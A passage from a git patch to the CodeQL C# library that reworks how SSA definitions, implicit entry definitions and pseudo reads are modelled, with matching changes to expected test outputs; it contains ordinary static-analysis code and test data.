| Properties.stat | Properties.cs:51:9:51:24 | SSA call def(Properties.stat) | Properties.cs:54:13:54:16 | access to property stat | | Properties.cs:61:23:61:23 | i | Properties.cs:63:16:63:16 | SSA phi(i) | Properties.cs:63:16:63:16 | access to parameter i | | Properties.cs:65:24:65:31 | this.LoopProp | Properties.cs:61:17:61:17 | SSA entry def(this.LoopProp) | Properties.cs:65:24:65:31 | access to property LoopProp | -| Properties.cs:67:21:67:38 | this.SingleAccessedProp | Properties.cs:67:21:67:38 | SSA untracked def(this.SingleAccessedProp) | Properties.cs:67:21:67:38 | access to property SingleAccessedProp | -| Properties.cs:72:20:72:37 | this.SingleAccessedProp | Properties.cs:72:20:72:37 | SSA untracked def(this.SingleAccessedProp) | Properties.cs:72:20:72:37 | access to property SingleAccessedProp | +| Properties.cs:67:21:67:38 | this.SingleAccessedProp | Properties.cs:61:17:61:17 | SSA entry def(this.SingleAccessedProp) | Properties.cs:67:21:67:38 | access to property SingleAccessedProp | +| Properties.cs:72:20:72:37 | this.SingleAccessedProp | Properties.cs:70:17:70:17 | SSA entry def(this.SingleAccessedProp) | Properties.cs:72:20:72:37 | access to property SingleAccessedProp | | Properties.cs:73:13:73:13 | f | Properties.cs:73:13:73:32 | SSA def(f) | Properties.cs:76:9:76:9 | access to local variable f | | Properties.cs:73:13:73:13 | f | Properties.cs:73:13:73:32 | SSA def(f) | Properties.cs:78:19:78:19 | access to local variable f | | Properties.cs:73:13:73:13 | f | Properties.cs:73:13:73:32 | SSA def(f) | Properties.cs:79:9:79:9 | access to local variable f | @@ -322,11 +320,6 @@ | Properties.cs:76:9:76:12 | f.xs | Properties.cs:84:9:84:25 | SSA def(f.xs) | Properties.cs:86:19:86:22 | access to property xs | | Properties.cs:78:9:78:15 | this.xs | Properties.cs:81:9:81:22 | SSA def(this.xs) | Properties.cs:82:9:82:15 | access to property xs | | Properties.cs:78:9:78:15 | this.xs | Properties.cs:83:9:83:22 | SSA def(this.xs) | Properties.cs:85:9:85:15 | access to property xs | -| Properties.cs:94:9:94:27 | this.NonTrivialProp | Properties.cs:95:20:95:38 | SSA untracked def(this.NonTrivialProp) | Properties.cs:95:20:95:38 | access to property NonTrivialProp | -| Properties.cs:97:9:97:24 | this.VirtualProp | Properties.cs:98:16:98:31 | SSA untracked def(this.VirtualProp) | Properties.cs:98:16:98:31 | access to property VirtualProp | -| Properties.cs:100:9:100:26 | this.VolatileField | Properties.cs:100:9:100:26 | SSA untracked def(this.VolatileField) | Properties.cs:100:9:100:26 | access to field VolatileField | -| Properties.cs:100:9:100:26 | this.VolatileField | Properties.cs:101:21:101:38 | SSA untracked def(this.VolatileField) | Properties.cs:101:21:101:38 | access to field VolatileField | -| Properties.cs:100:9:100:29 | this.VolatileField.xs | Properties.cs:101:21:101:41 | SSA untracked def(this.VolatileField.xs) | Properties.cs:101:21:101:41 | access to property xs | | Properties.cs:106:37:106:37 | p | Properties.cs:106:37:106:37 | SSA param(p) | Properties.cs:106:42:106:42 | access to parameter p | | Properties.cs:114:20:114:29 | this.Props | Properties.cs:113:9:113:22 | SSA call def(this.Props) | Properties.cs:114:20:114:29 | access to field Props | | Properties.cs:114:20:114:29 | this.Props | Properties.cs:113:9:113:22 | SSA call def(this.Props) | Properties.cs:115:21:115:30 | access to field Props | diff --git a/csharp/ql/test/library-tests/dataflow/ssa/SsaUltimateDef.expected b/csharp/ql/test/library-tests/dataflow/ssa/SsaUltimateDef.expected index f84d9f953a3..2d9f6d5e58d 100644 --- a/csharp/ql/test/library-tests/dataflow/ssa/SsaUltimateDef.expected +++ b/csharp/ql/test/library-tests/dataflow/ssa/SsaUltimateDef.expected @@ -247,11 +247,9 @@ | Fields.cs:33:19:33:22 | Fields.stat | Fields.cs:51:9:51:20 | SSA call def(Fields.stat) | Fields.cs:38:9:38:13 | SSA call def(Fields.stat) | | Fields.cs:33:19:33:22 | Fields.stat | Fields.cs:51:9:51:20 | SSA call def(Fields.stat) | Fields.cs:49:17:49:28 | SSA call def(Fields.stat) | | Fields.cs:33:19:33:22 | Fields.stat | Fields.cs:51:9:51:20 | SSA call def(Fields.stat) | Fields.cs:51:9:51:20 | SSA call def(Fields.stat) | -| Fields.cs:63:16:63:28 | this.VolatileField | Fields.cs:63:16:63:28 | SSA untracked def(this.VolatileField) | Fields.cs:63:16:63:28 | SSA untracked def(this.VolatileField) | -| Fields.cs:63:16:63:28 | this.VolatileField | Fields.cs:69:21:69:33 | SSA untracked def(this.VolatileField) | Fields.cs:69:21:69:33 | SSA untracked def(this.VolatileField) | | Fields.cs:65:24:65:32 | this.LoopField | Fields.cs:61:17:61:17 | SSA entry def(this.LoopField) | Fields.cs:61:17:61:17 | SSA entry def(this.LoopField) | -| Fields.cs:71:17:71:35 | this.SingleAccessedField | Fields.cs:71:17:71:35 | SSA untracked def(this.SingleAccessedField) | Fields.cs:71:17:71:35 | SSA untracked def(this.SingleAccessedField) | -| Fields.cs:76:20:76:38 | this.SingleAccessedField | Fields.cs:76:20:76:38 | SSA untracked def(this.SingleAccessedField) | Fields.cs:76:20:76:38 | SSA untracked def(this.SingleAccessedField) | +| Fields.cs:71:17:71:35 | this.SingleAccessedField | Fields.cs:61:17:61:17 | SSA entry def(this.SingleAccessedField) | Fields.cs:61:17:61:17 | SSA entry def(this.SingleAccessedField) | +| Fields.cs:76:20:76:38 | this.SingleAccessedField | Fields.cs:74:17:74:17 | SSA entry def(this.SingleAccessedField) | Fields.cs:74:17:74:17 | SSA entry def(this.SingleAccessedField) | | Fields.cs:77:13:77:13 | f | Fields.cs:77:13:77:45 | SSA def(f) | Fields.cs:77:13:77:45 | SSA def(f) | | Fields.cs:77:13:77:13 | f | Fields.cs:78:27:78:54 | SSA capture def(f) | Fields.cs:78:27:78:54 | SSA capture def(f) | | Fields.cs:78:23:78:23 | a | Fields.cs:78:23:78:54 | SSA def(a) | Fields.cs:78:23:78:54 | SSA def(a) | @@ -377,8 +375,8 @@ | Properties.cs:61:23:61:23 | i | Properties.cs:63:16:63:16 | SSA phi(i) | Properties.cs:63:16:63:18 | SSA def(i) | | Properties.cs:61:23:61:23 | i | Properties.cs:63:16:63:18 | SSA def(i) | Properties.cs:63:16:63:18 | SSA def(i) | | Properties.cs:65:24:65:31 | this.LoopProp | Properties.cs:61:17:61:17 | SSA entry def(this.LoopProp) | Properties.cs:61:17:61:17 | SSA entry def(this.LoopProp) | -| Properties.cs:67:21:67:38 | this.SingleAccessedProp | Properties.cs:67:21:67:38 | SSA untracked def(this.SingleAccessedProp) | Properties.cs:67:21:67:38 | SSA untracked def(this.SingleAccessedProp) | -| Properties.cs:72:20:72:37 | this.SingleAccessedProp | Properties.cs:72:20:72:37 | SSA untracked def(this.SingleAccessedProp) | Properties.cs:72:20:72:37 | SSA untracked def(this.SingleAccessedProp) | +| Properties.cs:67:21:67:38 | this.SingleAccessedProp | Properties.cs:61:17:61:17 | SSA entry def(this.SingleAccessedProp) | Properties.cs:61:17:61:17 | SSA entry def(this.SingleAccessedProp) | +| Properties.cs:72:20:72:37 | this.SingleAccessedProp | Properties.cs:70:17:70:17 | SSA entry def(this.SingleAccessedProp) | Properties.cs:70:17:70:17 | SSA entry def(this.SingleAccessedProp) | | Properties.cs:73:13:73:13 | f | Properties.cs:73:13:73:32 | SSA def(f) | Properties.cs:73:13:73:32 | SSA def(f) | | Properties.cs:73:13:73:13 | f | Properties.cs:74:27:74:54 | SSA capture def(f) | Properties.cs:74:27:74:54 | SSA capture def(f) | | Properties.cs:74:23:74:23 | a | Properties.cs:74:23:74:54 | SSA def(a) | Properties.cs:74:23:74:54 | SSA def(a) | @@ -394,11 +392,6 @@ | Properties.cs:76:9:76:12 | f.xs | Properties.cs:84:9:84:25 | SSA def(f.xs) | Properties.cs:84:9:84:25 | SSA def(f.xs) | | Properties.cs:78:9:78:15 | this.xs | Properties.cs:81:9:81:22 | SSA def(this.xs) | Properties.cs:81:9:81:22 | SSA def(this.xs) | | Properties.cs:78:9:78:15 | this.xs | Properties.cs:83:9:83:22 | SSA def(this.xs) | Properties.cs:83:9:83:22 | SSA def(this.xs) | -| Properties.cs:94:9:94:27 | this.NonTrivialProp | Properties.cs:95:20:95:38 | SSA untracked def(this.NonTrivialProp) | Properties.cs:95:20:95:38 | SSA untracked def(this.NonTrivialProp) | -| Properties.cs:97:9:97:24 | this.VirtualProp | Properties.cs:98:16:98:31 | SSA untracked def(this.VirtualProp) | Properties.cs:98:16:98:31 | SSA untracked def(this.VirtualProp) | -| Properties.cs:100:9:100:26 | this.VolatileField | Properties.cs:100:9:100:26 | SSA untracked def(this.VolatileField) | Properties.cs:100:9:100:26 | SSA untracked def(this.VolatileField) | -| Properties.cs:100:9:100:26 | this.VolatileField | Properties.cs:101:21:101:38 | SSA untracked def(this.VolatileField) | Properties.cs:101:21:101:38 | SSA untracked def(this.VolatileField) | -| Properties.cs:100:9:100:29 | this.VolatileField.xs | Properties.cs:101:21:101:41 | SSA untracked def(this.VolatileField.xs) | Properties.cs:101:21:101:41 | SSA untracked def(this.VolatileField.xs) | | Properties.cs:106:37:106:37 | p | Properties.cs:106:37:106:37 | SSA param(p) | Properties.cs:106:37:106:37 | SSA param(p) | | Properties.cs:114:20:114:29 | this.Props | Properties.cs:108:10:108:10 | SSA entry def(this.Props) | Properties.cs:108:10:108:10 | SSA entry def(this.Props) | | Properties.cs:114:20:114:29 | this.Props | Properties.cs:113:9:113:22 | SSA call def(this.Props) | Properties.cs:108:10:108:10 | SSA entry def(this.Props) | From 63f76b1b43e44c7ab33c51662062e5e5a313987d Mon Sep 17 00:00:00 2001 From: Tom Hvitved <hvitved@github.com> Date: Mon, 21 Dec 2020 20:24:25 +0100 Subject: [PATCH 0458/1241] C#: Uniform treatment of all SSA definitions --- .../code/csharp/commons/ConsistencyChecks.qll | 2 +- .../code/csharp/controlflow/BasicBlocks.qll | 12 +- .../csharp/controlflow/ControlFlowGraph.qll | 2 +- .../src/semmle/code/csharp/dataflow/SSA.qll | 811 +++++++++--------- .../dataflow/defuse/useUseEquivalence.ql | 2 +- .../library-tests/dataflow/ssa/Capture.cs | 6 +- .../dataflow/ssa/PreSsaConsistency.ql | 4 +- .../dataflow/ssa/SsaDef.expected | 11 +- .../dataflow/ssa/SsaDefElement.expected | 7 +- .../dataflow/ssa/SsaExplicitDef.expected | 3 + .../ssa/SsaImplicitQualifier.expected | 4 + .../dataflow/ssa/SsaUltimateDef.expected | 19 +- .../DeadStoreOfLocal/DeadStoreOfLocal.cs | 4 +- .../DeadStoreOfLocal.expected | 2 - 14 files changed, 451 insertions(+), 438 deletions(-) diff --git a/csharp/ql/src/semmle/code/csharp/commons/ConsistencyChecks.qll b/csharp/ql/src/semmle/code/csharp/commons/ConsistencyChecks.qll index aabdc030274..a4405a5a309 100644 --- a/csharp/ql/src/semmle/code/csharp/commons/ConsistencyChecks.qll +++ b/csharp/ql/src/semmle/code/csharp/commons/ConsistencyChecks.qll @@ -49,7 +49,7 @@ module SsaChecks { exists(Definition def, BasicBlock bb, ControlFlow::Node rnode, ControlFlow::Node dnode, int i | def.getAReadAtNode(rnode) = read | - def.definesAt(bb, i) and + def.definesAt(_, bb, i) and dnode = bb.getNode(max(int j | j = i or j = 0)) and not dnode.dominates(rnode) ) and diff --git a/csharp/ql/src/semmle/code/csharp/controlflow/BasicBlocks.qll b/csharp/ql/src/semmle/code/csharp/controlflow/BasicBlocks.qll index 4e87ac445c8..8b20ccb3c22 100644 --- a/csharp/ql/src/semmle/code/csharp/controlflow/BasicBlocks.qll +++ b/csharp/ql/src/semmle/code/csharp/controlflow/BasicBlocks.qll @@ -377,7 +377,17 @@ private predicate entryBB(BasicBlock bb) { * an annotated exit node. */ class AnnotatedExitBasicBlock extends BasicBlock { - AnnotatedExitBasicBlock() { this.getANode() instanceof ControlFlow::Nodes::AnnotatedExitNode } + private boolean isNormal; + + AnnotatedExitBasicBlock() { + this.getANode() = + any(ControlFlow::Nodes::AnnotatedExitNode n | + if n.isNormal() then isNormal = true else isNormal = false + ) + } + + /** Holds if this block represents a normal exit. */ + predicate isNormal() { isNormal = true } } /** diff --git a/csharp/ql/src/semmle/code/csharp/controlflow/ControlFlowGraph.qll b/csharp/ql/src/semmle/code/csharp/controlflow/ControlFlowGraph.qll index 9f4eda99838..061b7674810 100644 --- a/csharp/ql/src/semmle/code/csharp/controlflow/ControlFlowGraph.qll +++ b/csharp/ql/src/semmle/code/csharp/controlflow/ControlFlowGraph.qll @@ -270,7 +270,7 @@ module ControlFlow { /** Gets the callable that this exit applies to. */ Callable getCallable() { result = c } - /** Holds if this node represent a normal exit. */ + /** Holds if this node represents a normal exit. */ predicate isNormal() { normal = true } override BasicBlocks::AnnotatedExitBlock getBasicBlock() { diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll b/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll index 4b99882e167..24166d298e3 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll @@ -78,9 +78,27 @@ module Ssa { cached AssignableDefinition getADefinition(ExplicitDefinition def) { - exists(SourceVariable sv, AssignableDefinition ad | def = TSsaExplicitDef(sv, ad, _, _) | + exists(SourceVariable v, AssignableDefinition ad | explicitDefinition(def, v, ad) | result = ad or - result = getASameOutRefDefAfter(sv, ad) + result = getASameOutRefDefAfter(v, ad) + ) + } + + cached + predicate implicitEntryDefinition(ControlFlow::BasicBlocks::EntryBlock bb, SourceVariable v) { + exists(Callable c | + c = bb.getCallable() and + c = v.getEnclosingCallable() + | + // Captured variable + exists(LocalScopeVariable lsv | + v = any(LocalScopeSourceVariable lv | lsv = lv.getAssignable()) + | + lsv.getCallable() != c + ) + or + // Each tracked field and property has an implicit entry definition + v instanceof PlainFieldOrPropSourceVariable ) } } @@ -155,8 +173,10 @@ module Ssa { /** * Holds if the `i`th node of basic block `bb` is a (potential) write to source * variable `v`. The Boolean `certain` indicates whether the write is certain. + * + * This excludes implicit writes via calls. */ - private predicate variableWrite(BasicBlock bb, int i, SourceVariable v, boolean certain) { + predicate variableWriteDirect(BasicBlock bb, int i, SourceVariable v, boolean certain) { exists(AssignableDefinition ad | variableDefinition(bb, i, v, ad) | if any(AssignableDefinition ad0 | ad0 = ad or ad0 = getASameOutRefDefAfter(v, ad)) @@ -165,13 +185,17 @@ module Ssa { else certain = false ) or - variableWrite(bb, i, v.(QualifiedFieldOrPropSourceVariable).getQualifier(), certain) + variableWriteDirect(bb, i, v.(QualifiedFieldOrPropSourceVariable).getQualifier(), certain) + or + implicitEntryDefinition(bb, v) and + i = -1 and + certain = true } /** * A classification of variable reads. */ - newtype ReadKind = + newtype TReadKind = /** An actual read. */ ActualRead() or /** @@ -192,6 +216,10 @@ module Ssa { * as a write to a `ref` or `out` variable (see above). */ CapturedVarExitRead() or + /** + * A pseudo read for a captured variable via a call. + */ + CapturedVarCallRead() or /** * A pseudo read for a `ref` variable, just prior to an update of the referenced value. * A pseudo read is inserted to make assignments to the `ref` variable live, for example @@ -209,11 +237,35 @@ module Ssa { */ RefReadBeforeWrite() + class ReadKind extends TReadKind { + string toString() { + this = ActualRead() and + result = "ActualRead" + or + this = OutRefExitRead() and + result = "OutRefExitRead" + or + this = CapturedVarExitRead() and + result = "CapturedVarExitRead" + or + this = CapturedVarCallRead() and + result = "CapturedVarCallRead" + or + this = RefReadBeforeWrite() and + result = "RefReadBeforeWrite" + } + + /** Holds if this kind represents a pseudo read. */ + predicate isPseudo() { this != ActualRead() } + } + /** * Holds if the `i`th node `node` of basic block `bb` reads source variable `v`. * The read at `node` is of kind `rk`. + * + * This excludes implicit reads via calls. */ - predicate variableRead( + predicate variableReadDirect( BasicBlock bb, int i, SourceVariable v, ControlFlow::Node node, ReadKind rk ) { v.getAnAccess().(AssignableRead) = node.getElement() and @@ -223,34 +275,23 @@ module Ssa { outRefExitRead(bb, i, v, node) and rk = OutRefExitRead() or - capturedVarExitRead(bb, i, v, node) and - rk = CapturedVarExitRead() - or refReadBeforeWrite(bb, i, v, node) and rk = RefReadBeforeWrite() } private predicate outRefExitRead( - ControlFlow::BasicBlocks::ExitBlock ebb, int i, LocalScopeSourceVariable v, - ControlFlow::Nodes::ExitNode node + BasicBlock bb, int i, LocalScopeSourceVariable v, ControlFlow::Nodes::AnnotatedExitNode node ) { + node.isNormal() and exists(LocalScopeVariable lsv | lsv = v.getAssignable() and - ebb.getNode(i) = node and + bb.getNode(i) = node and node.getCallable() = lsv.getCallable() | - lsv.isRef() or lsv.(Parameter).isOut() - ) - } - - private predicate capturedVarExitRead( - ControlFlow::BasicBlocks::ExitBlock ebb, int i, LocalScopeSourceVariable v, - ControlFlow::Nodes::ExitNode node - ) { - exists(BasicBlock bb | variableDefinition(bb, _, v, _) | - ebb.getNode(i) = node and - bb.getCallable() = ebb.getCallable() and - bb.getCallable() != v.getAssignable().getCallable() + lsv.(Parameter).isOutOrRef() + or + lsv.isRef() and + strictcount(v.getAnAccess()) > 1 ) } @@ -261,7 +302,7 @@ module Ssa { def.getTarget() = lv and lv.isRef() and lv = v.getAssignable() and - node = def.getAControlFlowNode().getAPredecessor() and + node = def.getAControlFlowNode() and bb.getNode(i) = node ) } @@ -270,26 +311,54 @@ module Ssa { * A classification of variable references into reads (of a given kind) and * (certain or uncertain) writes. */ - newtype RefKind = + private newtype TRefKind = Read(ReadKind rk) or Write(boolean certain) { certain = true or certain = false } + private class RefKind extends TRefKind { + string toString() { + exists(ReadKind rk | this = Read(rk) and result = "read (" + rk + ")") + or + exists(boolean certain | this = Write(certain) and result = "write (" + certain + ")") + } + + int getOrder() { + this = Read(_) and + result = 0 + or + this = Write(_) and + result = 1 + } + } + /** - * Holds if the `i`th node of basic block `bb` is a reference to `v`, either a read - * (when `k` is `Read()`) or a write (when `k` is `UncertainWrite()` or `Write()`). + * Holds if the `i`th node of basic block `bb` is a reference to `v` of kind `k`. */ - predicate ref(BasicBlock bb, int i, SourceVariable v, RefKind k) { + private predicate ref(BasicBlock bb, int i, SourceVariable v, RefKind k) { exists(ReadKind rk | variableRead(bb, i, v, _, rk) | k = Read(rk)) or exists(boolean certain | variableWrite(bb, i, v, certain) | k = Write(certain)) } + private newtype TaggedRefIndex = + MkTaggedRefIndex(int i, int tag) { + exists(RefKind rk | ref(_, i, _, rk) | tag = rk.getOrder()) + } + /** * Gets the (1-based) rank of the reference to `v` at the `i`th node of basic block `bb`, * which has the given reference kind `k`. + * + * Reads are considered before writes when they happen at the same index. */ int refRank(BasicBlock bb, int i, SourceVariable v, RefKind k) { - i = rank[result](int j | ref(bb, j, v, _)) and + MkTaggedRefIndex(i, k.getOrder()) = + rank[result](int j, RefKind rk0, int tag | + ref(bb, j, v, rk0) and + tag = rk0.getOrder() + | + MkTaggedRefIndex(j, tag) order by j, tag + ) and ref(bb, i, v, k) } @@ -334,29 +403,23 @@ module Ssa { liveAtEntry(bb.getASuccessor(), v, rk) } - /** - * Holds if source variable `v` is likely to be live at any node inside basic - * block `bb`. This is an overestimate. - */ - predicate possiblyLiveAtAllNodes(BasicBlock bb, SourceVariable v) { - liveAtExit(bb, v, _) - or - ref(bb, _, v, Read(_)) - } - /** * Holds if variable `v` is live in basic block `bb` at index `i`. * The rank of `i` is `rnk` as defined by `refRank()`. */ - predicate liveAtRank(BasicBlock bb, int i, SourceVariable v, int rnk, ReadKind rk) { - rnk = refRank(bb, i, v, _) and - ( + private predicate liveAtRank(BasicBlock bb, int i, SourceVariable v, int rnk, ReadKind rk) { + exists(RefKind kind | rnk = refRank(bb, i, v, kind) | rnk = maxRefRank(bb, v) and liveAtExit(bb, v, rk) or - ref(bb, i, v, Read(rk)) + ref(bb, i, v, kind) and + kind = Read(rk) or - exists(int j | liveAtRank(bb, j, v, rnk + 1, rk) | not ref(bb, j, v, Write(true))) + exists(RefKind nextKind | + liveAtRank(bb, _, v, rnk + 1, rk) and + rnk + 1 = refRank(bb, _, v, nextKind) and + nextKind != Write(true) + ) ) } @@ -518,25 +581,44 @@ module Ssa { /** * A classification of SSA variable references into reads definitions. */ - private newtype SsaRefKind = + private newtype TSsaRefKind = SsaRead() or SsaDef() + private class SsaRefKind extends TSsaRefKind { + string toString() { + this = SsaRead() and + result = "SsaRead" + or + this = SsaDef() and + result = "SsaDef" + } + + int getOrder() { + this = SsaRead() and + result = 0 + or + this = SsaDef() and + result = 1 + } + } + /** * Holds if the `i`th node of basic block `bb` is a reference to `v`, * either a read (when `k` is `Read()`) or an SSA definition (when `k` * is `SsaDef()`). */ private predicate ssaRef(BasicBlock bb, int i, SourceVariable v, SsaRefKind k) { - exists(ReadKind rk | variableRead(bb, i, v, _, rk) | - not rk instanceof RefReadBeforeWrite and - k = SsaRead() - ) + variableRead(bb, i, v, _, _) and + k = SsaRead() or - exists(Definition def | definesAt(def, bb, i, v)) and + exists(Definition def | def.definesAt(v, bb, i)) and k = SsaDef() } + private newtype TaggedSsaRefIndex = + MkTaggedSsaRefIndex(int i, SsaRefKind k) { ssaRef(_, i, _, k) } + /** * Gets the (1-based) rank of the reference to `v` at the `i`th node of basic * block `bb`, which has the given reference kind `k`. @@ -549,9 +631,16 @@ module Ssa { * ssaRefRank(bb, 2, v, Read()) = 2 // read at node 2 * ssaRefRank(bb, 5, v, SsaDef()) = 3 // definition at node 5 * ``` + * + * Reads are considered before writes when they happen at the same index. */ private int ssaRefRank(BasicBlock bb, int i, SourceVariable v, SsaRefKind k) { - i = rank[result](int j | ssaRef(bb, j, v, _)) and + MkTaggedSsaRefIndex(i, k) = + rank[result](int j, SsaRefKind k0 | + ssaRef(bb, j, v, k0) + | + MkTaggedSsaRefIndex(j, k0) order by j, k0.getOrder() + ) and ssaRef(bb, i, v, k) } @@ -567,7 +656,7 @@ module Ssa { private predicate ssaDefReachesRank(BasicBlock bb, Definition def, int rankix, SourceVariable v) { exists(int i | rankix = ssaRefRank(bb, i, v, SsaDef()) and - definesAt(def, bb, i, v) + def.definesAt(v, bb, i) ) or ssaDefReachesRank(bb, def, rankix - 1, v) and @@ -599,31 +688,25 @@ module Ssa { exists(BasicBlock bb, int rankix, int i | ssaDefReachesRank(bb, def, rankix, v) and rankix = ssaRefRank(bb, i, v, SsaDef()) - 1 and - definesAt(redef, bb, i, v) + redef.definesAt(v, bb, i) ) } /** - * Same as `ssaRefRank()`, but restricted to actual reads of `def`, or - * `def` itself. + * Same as `ssaRefRank()`, but restricted to a particular SSA definition `def`. */ - private int ssaDefRank(Definition def, SourceVariable v, BasicBlock bb, int i) { + private int ssaDefRank(Definition def, SourceVariable v, BasicBlock bb, int i, SsaRefKind k) { v = def.getSourceVariable() and - result = ssaRefRank(bb, i, v, _) and + result = ssaRefRank(bb, i, v, k) and ( - ssaDefReachesRead(_, def, bb.getNode(i), ActualRead()) + ssaDefReachesRead(_, def, bb.getNode(i), _) or - definesAt(def, bb, i, _) + def.definesAt(_, bb, i) ) } - private int maxSsaDefRefRank(BasicBlock bb, SourceVariable v) { - result = ssaDefRank(_, v, bb, _) and - not result + 1 = ssaDefRank(_, v, bb, _) - } - private predicate varOccursInBlock(Definition def, BasicBlock bb, SourceVariable v) { - exists(ssaDefRank(def, v, bb, _)) + exists(ssaDefRank(def, v, bb, _, _)) } pragma[noinline] @@ -668,38 +751,38 @@ module Ssa { */ private predicate adjacentVarRead(Definition def, BasicBlock bb1, int i1, ControlFlow::Node cfn) { exists(int rankix, int i2 | - rankix = ssaDefRank(def, _, bb1, i1) and - rankix + 1 = ssaDefRank(def, _, bb1, i2) and + rankix = ssaDefRank(def, _, bb1, i1, _) and + rankix + 1 = ssaDefRank(def, _, bb1, i2, SsaRead()) and variableRead(bb1, i2, _, cfn, _) ) or - exists(SourceVariable v | ssaDefRank(def, v, bb1, i1) = maxSsaDefRefRank(bb1, v)) and + exists(SourceVariable v | ssaDefRank(def, v, bb1, i1, _) = maxSsaRefRank(bb1, v)) and varBlockReachesRead(def, bb1, cfn) } cached private module Cached { /** - * Holds if `cfn` is a last read of the SSA definition `def`. That is, `cfn` - * can reach the end of the enclosing callable, or another SSA definition for - * the underlying source variable, without passing through another read. + * Holds if the node at index `i` in `bb` is a last reference to SSA + * definition `def`. + * + * That is, the node can reach the end of the enclosing callable, or another + * SSA definition for the underlying source variable, without passing through + * another read. */ cached - predicate lastRead(Definition def, ControlFlow::Node cfn) { - exists(BasicBlock bb1, int i1, int rnk, SourceVariable v | - variableRead(bb1, i1, v, cfn, _) and - rnk = ssaDefRank(def, v, bb1, i1) - | - // Next reference to `v` inside `bb1` is a write - rnk + 1 = ssaRefRank(bb1, _, v, SsaDef()) + predicate lastRef(Definition def, BasicBlock bb, int i) { + exists(int rnk, SourceVariable v | rnk = ssaDefRank(def, v, bb, i, _) | + // Next reference to `v` inside `bb` is a write + rnk + 1 = ssaRefRank(bb, _, v, SsaDef()) or - // No more references to `v` inside `bb1` - rnk = maxSsaDefRefRank(bb1, def.getSourceVariable()) and + // No more references to `v` inside `bb` + rnk = maxSsaRefRank(bb, v) and ( // Can reach exit directly - bb1 instanceof ControlFlow::BasicBlocks::ExitBlock + bb instanceof ControlFlow::BasicBlocks::ExitBlock or - exists(BasicBlock bb2 | varBlockReaches(def, bb1, bb2) | + exists(BasicBlock bb2 | varBlockReaches(def, bb, bb2) | // Can reach a write using one or more steps 1 = ssaRefRank(bb2, _, def.getSourceVariable(), SsaDef()) or @@ -769,12 +852,25 @@ module Ssa { ssaDefReachesUncertainDefWithinBlock(v, def, redef) or exists(BasicBlock bb | - definesAt(redef, bb, _, v) and + redef.definesAt(v, bb, _) and ssaDefReachesEndOfBlock(bb.getAPredecessor(), def, v) and not ssaDefReachesUncertainDefWithinBlock(v, _, redef) ) } + /** Same as `adjacentVarRead`, but steps over pseudo reads. */ + private predicate adjacentVarActualRead( + Definition def, BasicBlock bb1, int i1, ControlFlow::Node cfn + ) { + adjacentVarRead(def, bb1, i1, cfn) + or + exists(ControlFlow::Node mid, BasicBlock bb2, int i2 | + adjacentVarActualRead(def, bb1, i1, mid) and + variableRead(bb2, i2, _, mid, any(ReadKind rk | rk.isPseudo())) and + adjacentVarRead(def, bb2, i2, cfn) + ) + } + /** * Holds if the value defined at SSA definition `def` can reach a read at `cfn`, * without passing through any other read. @@ -782,8 +878,9 @@ module Ssa { cached predicate firstReadSameVar(Definition def, ControlFlow::Node cfn) { exists(BasicBlock bb1, int i1 | - definesAt(def, bb1, i1, _) and - adjacentVarRead(def, bb1, i1, cfn) + def.definesAt(_, bb1, i1) and + adjacentVarActualRead(def, bb1, i1, cfn) and + variableRead(_, _, _, cfn, ActualRead()) ) } @@ -797,8 +894,28 @@ module Ssa { Definition def, ControlFlow::Node cfn1, ControlFlow::Node cfn2 ) { exists(BasicBlock bb1, int i1 | - variableRead(bb1, i1, _, cfn1, _) and - adjacentVarRead(def, bb1, i1, cfn2) + variableRead(bb1, i1, _, cfn1, ActualRead()) and + adjacentVarActualRead(def, bb1, i1, cfn2) and + variableRead(_, _, _, cfn2, ActualRead()) + ) + } + + private predicate reachesLastRef(Definition def, BasicBlock bb, int i) { + lastRef(def, bb, i) + or + exists(BasicBlock bb0, int i0, ControlFlow::Node cfn | + reachesLastRef(def, bb0, i0) and + variableRead(bb0, i0, _, cfn, any(ReadKind rk | rk.isPseudo())) and + adjacentVarRead(def, bb, i, cfn) + ) + } + + cached + predicate lastReadSameVar(Definition def, ControlFlow::Node cfn) { + exists(BasicBlock bb, int i | + reachesLastRef(def, bb, i) and + variableRead(bb, i, _, _, ActualRead()) and + cfn = bb.getNode(i) ) } } @@ -1095,10 +1212,10 @@ module Ssa { * `i`. */ private predicate updateCandidate(BasicBlock bb, int i, FieldOrPropSourceVariable fp, Call call) { - possiblyLiveAtAllNodes(bb, fp) and callAt(bb, i, call) and + call.getEnclosingCallable() = fp.getEnclosingCallable() and relevantDefinition(_, fp.getAssignable(), _) and - not ref(bb, i, fp, _) + not variableWriteDirect(bb, i, fp, _) } private predicate source( @@ -1169,7 +1286,7 @@ module Ssa { private predicate edgePlus(TCallableNode c1, TCallableNode c2) = fastTC(prunedEdge/2)(c1, c2) pragma[noopt] - private predicate updatesNamedFieldOrProp_( + private predicate updatesNamedFieldOrProp( FieldOrPropSourceVariable fps, Call call, Callable setter ) { exists(TCallableNode src, TCallableNode sink, FieldOrProp fp | @@ -1179,68 +1296,17 @@ module Ssa { ) } - private predicate updatesNamedFieldOrPropPossiblyLive( - BasicBlock bb, int i, FieldOrPropSourceVariable fp, Call call, Callable setter - ) { - updateCandidate(bb, i, fp, call) and - updatesNamedFieldOrProp_(fp, call, setter) - } - - private int firstRefAfterCall(BasicBlock bb, int i, FieldOrPropSourceVariable fp) { - updatesNamedFieldOrPropPossiblyLive(bb, i, fp, _, _) and - result = min(int k | k > i and ref(bb, k, fp, _)) - } - /** * Holds if `call` may change the value of field or property `fp`. The actual * update occurs in `setter`. */ cached - predicate updatesNamedFieldOrProp(Call c, FieldOrPropSourceVariable fp, Callable setter) { + predicate updatesNamedFieldOrProp( + BasicBlock bb, int i, Call c, FieldOrPropSourceVariable fp, Callable setter + ) { forceCachingInSameStage() and - exists(BasicBlock bb, int i | updatesNamedFieldOrPropPossiblyLive(bb, i, fp, c, setter) | - not exists(firstRefAfterCall(bb, i, fp)) and - liveAtExit(bb, fp, _) - or - exists(int j | j = firstRefAfterCall(bb, i, fp) | - liveAtRank(bb, j, fp, _, _) and - not ref(bb, j, fp, Write(true)) - ) - ) - } - - /** - * Same as `variableWrite()`, but extended to include implicit call definitions - * for fields and properties. - */ - private predicate variableWriteExt(BasicBlock bb, int i, SourceVariable v) { - ref(bb, i, v, Write(_)) - or - variableWriteExt(bb, i, 